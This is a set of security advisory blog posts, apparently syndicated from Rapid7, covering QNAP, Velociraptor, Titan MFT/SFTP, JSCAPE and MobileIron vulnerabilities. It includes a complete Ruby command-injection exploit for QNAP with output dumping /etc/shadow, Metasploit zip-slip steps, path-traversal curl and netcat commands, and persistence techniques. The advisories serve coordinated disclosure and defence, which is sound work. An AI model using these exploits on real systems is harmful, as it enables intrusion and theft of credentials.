__int64 uploaf_firmware_image()
{
  //...snip...
  if ( (unsigned int)CGI_Upload((__int64)"/mnt/update", 0LL, (__int64)file_name) ) // <---
    return json_pack(
             "{si si ss}",
             4341610LL,
             200LL,
             "error_code",
             4LL,
             "error_message",
             "upload full_path_filename fail.");
  sprintf(file, "%s/%s", "/mnt/update", file_name); // <---
  if ( chmod(file, 436u) < 0 )
    return json_pack(
             "{si si ss}",
             4341610LL,
             200LL,
             "error_code",
             5LL,
             "error_message",
             "upload full_path_filename fail.");
  if ( !fork() )
  {
    v2 = open("/dev/null", 2);
    if ( v2 != -1 )
    {
      close(0);
      dup2(v2, 0);
      close(1);
      dup2(v2, 1);
      close(2);
      dup2(v2, 2);
      close(v2);
    }
    sprintf(buf266, "echo 0 > %s", "/tmp/update_process");
    system(buf266);
    sprintf(buf266, "/usr/share/updater/update_fw -f \"%s\"", file); // <---
    if ( system(buf266) ) // <--- command injection.
    {
      Set_Private_Profile_Integer("Switch OS", "Step00 Status", 7LL, "/tmp/quick_tmp.conf");
    }

We can see above that the value extracted by CGI_Upload will be used to construct an OS command, which is then passed to a call to system to execute the command. If an attacker can supply a double quote character in the file name string, a command injection vulnerability can be achieved.

To understand how an attacker can achieve this, we must examine CGI_Upload from the \usr\lib\libuLinux_fcgi.so.0.0 binary. CGI_Upload will call cgi_save_file_ex to extract several fields from a POST request’s multipart form data.

__int64 __fastcall cgi_save_file_ex(__int64 a1, char *a2, int a3)
{
// ...snip...
  CGI_Get_Http_Info(&dest);
// ...snip...
        strtok(v36, ";");
        strtok(0LL, ";");
        v18 = strtok(0LL, "\n");
        if ( v18 )
          snprintf(v36, 0x1000uLL, "%s", v18);
        strtok(v36, "\"");
        v19 = strtok(0LL, "\"");
        if ( v19 )
          strncpy(a2, v19, n);
        if ( dest.useragent_type == 3 ) // <---
          trans_http_str((__int64)a2, (__int64)a2, 1LL); // <---

The call to CGI_Get_Http_Info at the beginning of the function will retrieve some metadata about the request. The form field values are extracted (we have omitted most of the logic here for brevity). When storing an extracted field value, a check is done against the requested metadata, and if the user agent was given an enum value of 3, a special call to trans_http_str will occur. The function trans_http_str will URL decode any value we pass it, e.g. %22 will be decoded to a double quote character. This will allow an attacker to escape the command string in the function uploaf_firmware_image and achieve command injection.

To understand why the metadata’s user agent type may be set to 3, we can examine the function CGI_Get_Http_Info, as shown below.

char *__fastcall CGI_Get_Http_Info(struct_dest *dest)
{
  // ...snip…
  v10 = (const char *)QFCGI_getenv("HTTP_USER_AGENT");
  v11 = v10;
  if ( !v10 )
  {
LABEL_29:
    dest->useragent_type = 0;
    goto LABEL_16;
  }
  if ( strstr(v10, "Safari") )
  {
    dest->useragent_type = 7;
    goto LABEL_16;
  }
  if ( !strstr(v11, "MSIE") )
  {
    if ( strstr(v11, "Mozilla") )
    {
      if ( strstr(v11, "Macintosh") )
        dest->useragent_type = 3; // <---
      else 
        dest->useragent_type = strstr(v11, "Linux") == 0LL ? 4 : 6;
      goto LABEL_16;
    }
    goto LABEL_29;
  }

We can see that if the HTTP request’s user agent contains both the string “Mozilla” and the string “Macintosh”, then the user agent type will be set to 3.

We can therefore exploit this vulnerability with an HTTP POST request that looks like this:

POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
Content-Length: 164
Content-Type: multipart/form-data;boundary="avssqwfz"

--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
Content-Type: text/plain

skfqduny
--avssqwfz–

Note the use of the URL encoded double quote %22 to perform the command injection, followed by the execution of a base64 encoded command (“id” in the example above). Finally, we can see the requested user agent is “Mozilla Macintosh” to enable the URL decoding of multipart form fields.

Proof-of-Concept Exploit

The following is a Ruby proof-of-concept exploit called qnap_hax.rb that can be used to successfully exploit a vulnerable target.

require 'optparse'
require 'base64'
require 'socket' 

def log(txt)
  $stdout.puts txt
end

def rand_string(len)
  (0...len).map {'a'.ord + rand(26)}.pack('C*')
end

def send_http_data(ip, port, data)
  s = TCPSocket.open(ip, port)
  
  s.write(data)
  
  result = ''
  
  while line = s.gets
    result << line
  end
  
  s.close

  return result
end

def hax_single_command(ip, port, cmd, read_output=true, output_file_name='a')

  payload = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d)"

  if read_output
    payload << ">#{output_file_name}"
  end

  payload << ")\""

  payload.gsub!("\"", '%22')
  payload.gsub!(";", '%3B')

  if payload.length > 127
    log "[-] Error, the command is too long (#{payload.length}), must be < 128 bytes."
    return false
  end
  
  boundary = rand_string(8)
  
  txt  = "--#{boundary}\r\n"
  txt << "Content-Disposition: form-data; #{rand_string(8)}=\"field2\"; #{rand_string(8)}=\"#{payload}\"\r\n"
  txt << "Content-Type: text/plain\r\n"
  txt << "\r\n"
  txt << "#{rand_string(8)}\r\n"
  txt << "--#{boundary}--\r\n"

  body  = "POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1\r\n"
  body << "Host: #{ip}:#{port}\r\n"
  body << "User-Agent: Mozilla Macintosh\r\n"
  body << "Accept: */*\r\n"
  body << "Content-Length: #{txt.bytesize}\r\n"
  body << "Content-Type: multipart/form-data;boundary=\"#{boundary}\"\r\n"
  body << "\r\n"
  body << txt

  result = send_http_data(ip, port, body)
  
  if result&.match? /HTTP\/1\.\d 200 OK/
    log "[+] Success, executed command: #{cmd}"
  else
    log "[-] Failed to execute command: #{cmd}"
    log result
    
    return false
  end
  
  if read_output

    result = send_http_data(ip, port, "GET /cgi-bin/quick/#{output_file_name} HTTP/1.1\r\nHost: #{ip}:#{port}\r\nAccept: */*\r\n\r\n")
    
    if result&.match? /HTTP\/1\.\d 200 OK/

      found_content = false
      
      result.lines.each do |line|
        if line == "\r\n"
          found_content = true
          next
        end
        
        log line if found_content 
      end    
    else
      log "[-] Failed to read back output."
      log result
      
      return false
    end
  end

  return true
end

def hax(options)

  log "[+] Targeting: #{options[:ip]}:#{options[:port]}"

  output_file_name = 'a'

  return unless hax_single_command(options[:ip], options[:port], options[:cmd], true, output_file_name)
  
  return unless hax_single_command(options[:ip], options[:port], "rm -f #{output_file_name}", false, output_file_name)
  
  return unless hax_single_command(options[:ip], options[:port], 'rm -f /mnt/HDA_ROOT/update/*', false, output_file_name)
end

options = {}

OptionParser.new do |opts|
  opts.banner = "Usage: hax1.rb [options]"

  opts.on("-t", "--target TARGET", "Target IP") do |v|
    options[:ip] = v
  end
  
  opts.on("-p", "--port PORT", "Target Port") do |v|
    options[:port] = v.to_i
  end  
  
  opts.on("-c", "--cmd COMMAND", "Command to execute") do |v|
    options[:cmd] = v
  end
end.parse!

unless options.key? :ip
  log '[-] Error, you must pass a target IP: -t TARGET'
  return
end

unless options.key? :port
  log '[-] Error, you must pass a target port: -p PORT'
  return
end

unless options.key? :cmd
  log '[-] Error, you must pass a command to execute: -c COMMAND'
  return
end

log "[+] Starting..."

hax(options)

log "[+] Finished."

Exploitation

To verify this vulnerability, after manually extracting the firmware, we used the QEMU emulator to run the built-in web server. As the vulnerable component quick.cgi is present in an uninitialized system, we manually enabled the feature, allowing a remote attacker to access the vulnerable CGI script over HTTP.

Emulate the Firmware

We performed the following steps to run the builtin web server _httpd_ via QEMU, and enable the vulnerable quick.cgi component.

user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
# Copy the qemu-x86_64-static binary into the root file system folder.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
# Run _thttpd_ via QEMU.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080  -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
# Verify the HTTP server is running.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1195417/./qemu-x86_ 
# Drop to a shell via QEMU...
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
# Enable the component quick.cgi
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
# Fix a linker issue with QEMU.
sh-3.2# rm /lib/libnl-3.so.200
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
# This folder will be present in a NAS device containing a hard drive.
sh-3.2# mkdir /mnt/HDA_ROOT

Run the PoC

Finally, to verify the vulnerability, from a remote machine we ran the exploit script qnap_hax.rb against the remote target, and successfully executed arbitrary OS commands.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c id
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: id
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c "cat /etc/shadow"
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: cat /etc/shadow
admin:$1$$CoERg7ynjYLdj2j4glJ34.:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCtO46Psdbq/:14233:0:99999:7:::
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

Rapid7 Customers

An unauthenticated vulnerability check for CVE-2023-47218 will be available to InsightVM and Nexpose customers as of the February 13, 2024 content release.

Timeline

  • November 9, 2023: Rapid7 makes initial contact with QNAP Product Security Incident Response Team (PSIRT).
  • November 13, 2023: Rapid7 provides QNAP with a detailed technical advisory.
  • November 27, 2023: Rapid7 provides QNAP with a standalone proof of concept exploit.
  • December 5, 2023: QNAP confirms report findings and assigns CVE-2023-47218 to the vulnerability. Rapid7 suggests January 8, 2024 as a coordinated disclosure date.
  • December 7, 2023: Vendor informs Rapid7 they are looking to complete fixes by the end of January; they request an extension to February 7, 2024 for disclosure.
  • December 7, 2023: Rapid7 agrees to February 7, 2024 as a coordinated disclosure date and requests that QNAP review our disclosure policy. Rapid7 also reinforces that coordinated disclosure means patches, advisories, and other vulnerability details are released at the same time, without silently patching security issues.
  • December 13, 2023: Rapid7 requests that vendor re-confirm timeline; vendor confirms February 7, 2024 for disclosure, acknowledges Rapid7’s disclosure policy.
  • December 18, 2023: Rapid7 requests additional information about vendor-supplied mitigation guidance and affected products; vendor sends additional info to Rapid7.
  • January 8, 2024 – January 10, 2024: Rapid7 requests an update and additional information.
  • January 25, 2024 – January 26, 2024: Vendor contacts Rapid7 and informs us they have released patches for this vulnerability. Vendor requests that Rapid7 wait until February 26, 2024 to publish our disclosure. Rapid7 requests further information on why disclosure was not coordinated despite previous communications. QNAP and Rapid7 discuss and agree to publish advisories jointly on February 13, 2024.
  • February 13, 2024: This disclosure.

CVE-2023-5950 Rapid7 Velociraptor Reflected XSS

Post Syndicated from Dr. Mike Cohen original https://blog.rapid7.com/2023/11/10/cve-2023-5950-rapid7-velociraptor-reflected-xss/

CVE-2023-5950 Rapid7 Velociraptor Reflected XSS

This advisory covers a specific issue identified in Velociraptor and disclosed by a security code review. We want to thank Mathias Kujala for working with the Velociraptor team to identify and rectify this issue.  It has been fixed as of Version 0.7.0-4, released November 6, 2023.

CVSS · HIGH · 8.6/10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

  • Scoring scenario: GENERAL
  • attackVector: NETWORK
  • attackComplexity: LOW
  • privilegesRequired: NONE
  • userInteraction: NONE
  • scope: UNCHANGED
  • confidentialityImpact: HIGH
  • integrityImpact: LOW
  • availabilityImpact: LOW

Open CVSS Calc

Rapid7 Velociraptor versions prior to 0.7.0-4 suffer from a reflected cross site scripting vulnerability. This vulnerability allows attackers to inject JS into the error path, potentially leading to unauthorized execution of scripts within a user’s web browser. This vulnerability is fixed in version 0.7.0-4 and a patch is available to download. Patches are also available for version 0.6.9 (0.6.9-1). This issue affects the server only.

Problem

CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Remediation

To remediate these vulnerabilities, Velociraptor users should upgrade their servers.

Product Status

Product affected: Rapid7 Velociraptor prior to 0.7.0-4

Credits

Mathias Kujala

References

docs.velociraptor.app/blog/2023/2023-07-27-release-notes-0.7.0/

Timeline

  • 2023-11-02 – Notification of the issue
  • 2023-11-06 – Release 0.7.0-4 made available on Github

Multiple Vulnerabilities in South River Technologies Titan MFT and Titan SFTP [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/10/16/multiple-vulnerabilities-in-south-river-technologies-titan-mft-and-titan-sftp-fixed/

Multiple Vulnerabilities in South River Technologies Titan MFT and Titan SFTP [FIXED]

As part of our continuing research project into managed file transfer risk, including JSCAPE MFT and Fortra Globalscape EFT Server, Rapid7 discovered several vulnerabilities in South River Technologies’ Titan MFT and Titan SFTP servers. Although these require unusual circumstances or non-default configurations, as well as a valid user login, the consequences of exploitation can lead to remote superuser access to the affected host.

Products

Titan MFT and Titan SFTP are business-grade Managed File Transfer (MFT) servers that provide enterprise-class, high-availability failover and clustering. They are very similar products with a similar code base, although Titan MFT has some extra features such as WebDAV.

We confirmed that these issues affect Titan MFT and Titan SFTP versions 2.0.16.2277 and 2.0.17.2298 (earlier versions are also affected, per the vendor). All issues listed below affect the Linux version, and some additionally affect the Windows version (we will note which platforms are affected by which issues).

Discoverer

These issues were discovered by Ron Bowes of Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

South River Technologies is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Impact

Successful exploitation of several of these issues grants an attacker remote code execution as the root or SYSTEM user; however, all issues are post-authentication and require non-default configurations and are therefore unlikely to see widescale exploitation.

Vulnerabilities

CVE-2023-45685: Authenticated Remote Code Execution via "zip slip"

Titan MFT and Titan SFTP have a feature where .zip files can be automatically extracted when they are uploaded over any supported protocol. Files within the .zip archive are not validated for path traversal characters; as a result, an authenticated attacker can upload a .zip file containing a filename such as ../../file, which will be extracted outside the user’s home directory. This affects both Linux and Windows servers, but we will use Linux as an example of how this might be exploited.

If an attacker can write a file to anywhere on a Linux file system, they can leverage that to gain remote access to the target host in several different ways:

  • Overwrite /root/.ssh/authorized_keys with an attacker’s SSH key, allowing them to log in to an interactive session
  • Upload a script to /etc/cron.hourly that will execute code at some point in the future
  • Upload a script to /etc/profile.d that will execute next time a user logs in to the Linux host
  • Overwrite a system binary (such as /bin/bash) with a backdoored version

This vulnerability is mitigated in two different ways:

  1. This is a non-default feature, so an administrator would have had to configure it before a server is vulnerable
  2. Exploitation requires a user to have an account with permission to upload files

Demo

A so-called "zip slip" is a common class of vulnerability, and an example file can be created using a Metasploit module (note that this is a generic module which writes an ELF file containing an executable payload):

msf6 > use exploit/multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

msf6 exploit(multi/fileformat/zip_slip) > set FTYPE zip
FTYPE => zip

msf6 exploit(multi/fileformat/zip_slip) > set FILENAME test.zip
FILENAME => test.zip

msf6 exploit(multi/fileformat/zip_slip) > show options

msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../root/testzipslip
TARGETPAYLOADPATH => ../../../../../../../root/testzipslip

msf6 exploit(multi/fileformat/zip_slip) > exploit

[+] test.zip stored at /home/ron/.msf4/local/test.zip
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../../root/testzipslip

Then upload it with any protocol that the user has access to (HTTP, FTP, WebDAV, SFTP):

$ ncftp -u 'testuser' -p 'b' 10.0.0.68
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.0.0.68...                                                                                          
TitanMFT 2.0.16.2277 Ready.
Logging in...                                                                                                       
Welcome testuser from 10.0.0.227. You are now logged in to the server.
Logged in to 10.0.0.68.                                                                                             
ncftp / > put ~/.msf4/local/test.zip
/home/ron/.msf4/local/test.zip:                        331.00 B    7.92 kB/s  

And verify that it extracts outside of the user’s home directory:

$ ssh [email protected] ls /root
testzipslip

Note that the payload generated by Metasploit is an ELF file by default; however, using this technique, any file can be uploaded to any location on the file system.

CVE-2023-45686: Authenticated Remote Code Execution via WebDAV Path Traversal

The WebDAV handler does not validate the path specified by the user. That means that the user can write files outside of their home directory by adding ../ characters to the WebDAV URL. Successful exploitation permits an authenticated attacker to write an arbitrary file to anywhere on the file system, leading to remote code execution.

WebDAV is not enabled by default, so an administrator would have had to enable WebDAV for a target to be vulnerable. This also doesn’t affect Titan SFTP, which doesn’t support the WebDAV protocol; additionally, as far as we can tell, this only affects the Linux version of Titan MFT.

Demo

The curl utility with the PUT verb can be used to upload a file (note that --path-as-is is required, otherwise curl will normalize the path and remove the ../ portion of the URL):

$ curl -i -X PUT -u testuser:b --data-binary 'hi' --path-as-is http://10.0.0.68:8080/../../../../../../../../../root/testwebdav
HTTP/1.1 201 Created
Set-Cookie: SRTSessionId=NV7pXyEHw9bdkofCLp3dI5wMq96N7iLD; Path=/; Expires=2023-Sep-25 10:09:14 GMT; HttpOnly
Connection: close
Server: SRT WebDAV Server
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Accept-Ranges: bytes
ETag: "8F434346648F6B96DF89DDA901C5176B10A6D83961DD3C1AC88B59B2DC327AA4"

We can verify the file is written from an SSH session:

$ ssh [email protected] ls /root/
testwebdav

CVE-2023-45687: Session Fixation on Remote Administration Server

When an administrator authenticates to the remote administration server’s API using an Authorization header (HTTP basic or digest authentication) and sets a SRTSession header value to a value known by an attacker (including the literal string null), the session token is granted privileges that the attacker can use. For example, the following request would make the string "test" into a valid session token:

$ curl -u ron:myfakepassword -ik -H 'Srtsessionid: test' 'https://10.0.0.68:41443/WebApi/Process'

We originally identified this as an authentication bypass, but later realized (from discussing it with the vendor) that the Srtsessionid value must match on the client and server, and the likelihood of getting an administrator to set an arbitrary header is exceedingly low. This affects both the Linux and Windows versions of the software, although the exploit path for Windows would be different than the Linux path we discuss below.

If an attacker can either steal a session token or trick an administrator into authorizing an arbitrary session token, the administrative access can be used to write an arbitrary file to the file system using the following steps (on Linux):

  • Create a new user with an arbitrary home folder (eg, /root/.ssh)
  • Log in to one of the file-upload services, such as FTP, using that account
  • Upload a file, such a authorized_keys

Since the service runs as root, this lets an attacker upload or download any file. We implemented a proof of concept that demonstrates how an attacker can achieve remote code execution on a target system by abusing administrator-level access.

CVE-2023-45688: Information Disclosure via Path Traversal on FTP

The SIZE command on FTP doesn’t properly sanitize path traversal characters, which permits an authenticated user to get the size of any file on the file system. This requires an account that can log in via the FTP protocol, and appears to only affect the Linux versions of Titan MFT and Titan SFTP.

Demo

You can test this with the netcat utility:

$ nc 10.0.0.69 21
220 TitanMFT 2.0.17.2298 Ready.
USER test 
331 User name okay, need password.
PASS a
230 Welcome test from 10.0.0.227. You are now logged in to the server.
SIZE ../../../../../../../etc/shadow
213 1050
SIZE ../../../../../../../etc/hostname
213 7
SIZE ../../../../../../../etc/nosuchfile
550 No such file or directory

In that example, the attacker can determine that /etc/shadow is 1050 bytes, /etc/hostname is 7 bytes, and /etc/nosuchfile doesn’t exist.

CVE-2023-45689: Information Disclosure via Path Traversal in Admin Interface

Using the MxUtilFileAction model, an administrator can retrieve and delete files from anywhere on the file system by using ../ sequences in their path. Both Linux and Windows servers are affected by this issue. Note that administrators have full access to the host’s file system using other techniques, so this is a very minor issue.

Demo

Note: This requires a valid session id (in the example below, 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB):

$ curl -iks -H 'Content-Type: application/json' -H 'Srtsessionid: 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB' --data-binary '[{"Model":"MxUtilFileAction","ServerGUID":"db2112ad-0000-0000-0000-100000000001","Action":"l","Data":{"action":"d","fileList":["/var/southriver/srxserver/logs/Local Administration Server/../../../../../etc/shadow"],"domainLogs":true}}]' 'https://10.0.0.68:41443/WebApi/Process'
HTTP/2 200 
content-type: application/x-msdownload
date: Tue, 19 Sep 2023 21:02:07 GMT
content-length: 1155
strict-transport-security: max-age=2592000
content-security-policy: base-uri 'self';
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
referrer-policy: origin
content-disposition: attachment; filename=shadow; filename*=UTF-8''shadow

root:$6$7oOiiC2AyTA6p7LG$mmvUvQYTSN/E9DBfOOGldok6gd6iP8G7SeR20Va30JYCKPp14gzMhmOUrw3o0t6erwwemssYgjcDGqYI/jOWA0:19619:0:99999:7:::
[...]

CVE-2023-45690: Information Leak via World-Readable Database + Logs

Password hashes appear in world-readable files, including databases and log files. Non-root accounts with access to the host can use those files to upgrade their privileges to root. Since shell access is required before this can be leveraged, this vulnerability is fairly minor, but we believe that local privilege escalation issues are still important to address.

You can use the strings utility to examine the database file as any user account (they can also be loaded in sqlite3):

ron@titan:~$ strings /var/southriver/srxserver/database/srxdbDB2112AD555500000000100000000001.db | grep -o '"PasswordHash":"[^"]*"'
"PasswordHash":"5267768822EE624D48FCE15EC5CA79CBD602CB7F4C2157A516556991F22EF8C7B5EF7B18D1FF41C59370EFB0858651D44A936C11B7B144C48FE04DF3C6A3E8DA"
"PasswordHash":"72A8D535781681A613D4F8ED06192020AFDA3B1B6C3C48A392FFAB2DF033D23F791BB6CCBE3B134B4A721BFE1CFE6CD06581CA74EAAEE5343CCD70DC3115F984"
"PasswordHash":"57E38B3A0621901EC5C64FA1864A5D16E17CE4DDF9CD084E4E72D0EEEC2D270353D033C972E5B5C646422B56F7EAA11FD54BAAC0A19F6A20CC8D93DF6063DB30"

You can also export logs with journalctl as any user:

ron@titan2:~$ journalctl -u titanmft.service  | grep 'stored hash'
Sep 26 22:28:36 titan2 srxserver[3526]: 2023-09-26 22:28:36 [Info/-/007] Validated incoming user against stored hash [7632AC9FECE0727899598E82E1601669F76D1D2AB75F33AE6A57D21060E22DB93E9D267155909E7EC5EECA20382A18D5D246A4CCAF64466D16974124BA0EC22F] and the result is True
Sep 26 22:34:02 titan2 srxserver[3526]: 2023-09-26 22:34:02 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:15 titan2 srxserver[3526]: 2023-09-26 22:34:15 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:48 titan2 srxserver[3526]: 2023-09-26 22:34:48 [Info/-/061] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True

Mitigation Guidance

According to South River Technologies, the issues in this disclosure can be remediated by applying vendor-supplied patches to upgrade to version 2.0.18 of Titan SFTP or Titan MFT. Additionally, these issues can be mitigated by configuring Titan SFTP or Titan MFT service to not run under the Local System account but to instead use a specific Windows or Linux user account that has limited privileges.

Timeline

  • September, 2023 – Rapid7 discovers the vulnerabilities
  • September 28, 2023 – Rapid7 finds a security contact and reports the issues
  • September 28, 2023 – Vendor acknowledges our report
  • September 30, 2023 – Vendor let us know that the majority of the issues are resolved
  • October 11, 2023 – Discussed and agreed on a disclosure date of October 16, 2023
  • October 16, 2023 – This coordinated disclosure (including this blog and all vendor artifacts)

CVE-2023-4528: Java Deserialization Vulnerability in JSCAPE MFT (Fixed)

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/09/07/cve-2023-4528-java-deserialization-vulnerability-in-jscape-mft-fixed/

CVE-2023-4528: Java Deserialization Vulnerability in JSCAPE MFT (Fixed)

In August 2023, Rapid7 discovered a Java deserialization vulnerability in Redwood Software’s JSCAPE MFT secure managed file transfer product. The vulnerability was later assigned CVE-2023-4528. It can be exploited by sending an XML-encoded Java object to the Manager Service port, which, by default, is TCP port 10880 (over SSL). Successful exploitation can run arbitrary Java code as the root on Linux or the SYSTEM user on Windows. CVE-2023-4528 is trivial to exploit if an attacker has network-level access to the management port and the Manager Service is enabled (which is the default). We strongly recommend taking the server down (or disabling the Manager Service) until it can be patched.

Product description

CVE-2023-4528 affects all versions of JSCAPE MFT Server prior to version 2023.1.9 on all platforms (Windows, Linux, and MacOS). See the JSCAPE advisory for more information.

Discoverer

This issue was discovered by Ron Bowes of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

CVE-2023-4528 has been addressed in JSCAPE version 2023.1.9 which is now available for customer deployment. JSCAPE customers have been notified and our support teams are available 24/7 to assist. Redwood appreciates the collaboration with Rapid7 and our cybersecurity partners. For more information, please see: https://www.jscape.com/blog/binary-management-service-patch-cve-2023-4528

Impact

Successful exploitation executes arbitrary Java code as the Linux root or Windows SYSTEM user. The most likely attack vector will run Java code such as java.lang.Runtime.getRuntime().exec("...shell command...");, but it’s also possible to create a Java-only payload to avoid executing another process (and therefore wouldn’t be as easily detectable).

Once an attacker executes code at that level, they have full control of the system. They can steal data, pivot to attack other network devices, remove evidence of the intrusion, establish persistence, and anything else they choose. Notably, there appear to be very few (if any) instances of JSCAPE MFT Server with their management ports exposed to the internet, which significantly reduces attackers’ ability to reach the affected service.

Indicators of compromise

Successful exploitation will be evident in log files. The Windows log file is C:\program files\MFT Server\var\log\server0.log, and Linux is /opt/mft_server/var/log/server0.log. Any warning or error messages that reference "Management connection" should be investigated — in particular, class casting exceptions such as:

08.22.2023 15:56:51 [WARNING] Management connection error: [10.0.0.77:10880 <-> 10.0.0.227:40085].
com.jscape.util.net.connection.Connection$ConnectionException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	at com.jscape.util.net.connection.Connection$ConnectionException.wrap(Unknown Source)
	at com.jscape.util.net.connection.SyncMessageConnectionSyncRawBase.read(Unknown Source)
	at com.jscape.util.net.connection.AsyncMessageConnectionSyncRawBase.readNextMessage(Unknown Source)
	at com.jscape.util.net.connection.AsyncMessageConnectionSyncRawBase.run(Unknown Source)
	at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539)
	at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	at java.base/java.lang.Thread.run(Thread.java:833)
Caused by: java.io.IOException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	at com.jscape.util.at.b(Unknown Source)
	at com.jscape.util.az.a(Unknown Source)
	at com.jscape.inet.mftserver.adapter.management.protocol.a.a(Unknown Source)
	at com.jscape.inet.mftserver.adapter.management.protocol.a.read(Unknown Source)
	... 8 more
Caused by: java.lang.ClassCastException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	... 10 more

The server expects a Message class, and the exploit sends a different class such as java.lang.Runtime, which fails and creates an error message.

Note that a more cleverly written exploit may not be this obvious in log files.

Remediation

Rapid7 recommends that JSCAPE MFT Server customers immediately upgrade their instance(s) of MFT Server to version 2023.1.9 (upgrade documentation from Redwood Software here).

JSCAPE MFT customers should also close port 10880 to the public internet, ensuring that external/public access to the binary management service port (typically 10880) that is used by JSCAPE command line utilities is blocked. Settings for this port can be found in the administrative interface under Settings > Manager Service > Manager Service.

As a temporary mitigation before applying the patch, administrators can block access to the Management Service. On the configuration page (http://[server]:11880/settings/settings), either change the Host/IP option on the Manager Service page to 127.0.0.1. Alternatively, under the Access tab, set up an IP filter (or block all IP addresses). Rapid7 validated that both options work.

For more information, see Redwood Software’s advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2023-4528 with a vulnerability check expected to be available in the September 7 content release.

Timeline

  • August 22, 2023: Rapid7 discovers the vulnerability
  • August 23, 2023: Rapid7 reports the vulnerability to Redwood Software
  • August 24, 2023 – September 6, 2023: Rapid7 and Redwood Software discuss patching and disclosure timelines
  • September 7, 2023: This disclosure

CVE-2023-35082 – MobileIron Core Unauthenticated API Access Vulnerability

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/08/02/cve-2023-35082-mobileiron-core-unauthenticated-api-access-vulnerability/

Overview

CVE-2023-35082 - MobileIron Core Unauthenticated API Access Vulnerability

While investigating CVE-2023-35078, a critical API access vulnerability in Ivanti Endpoint Manager Mobile and MobileIron Core that was exploited in the wild, Rapid7 discovered a new vulnerability that allows unauthenticated attackers to access the API in older unsupported versions of MobileIron Core (11.2 and below). Rapid7 reported this vulnerability to Ivanti on July 26, 2023 and we are now disclosing it in accordance with our vulnerability disclosure policy. The new vulnerability has been assigned CVE-2023-35082.

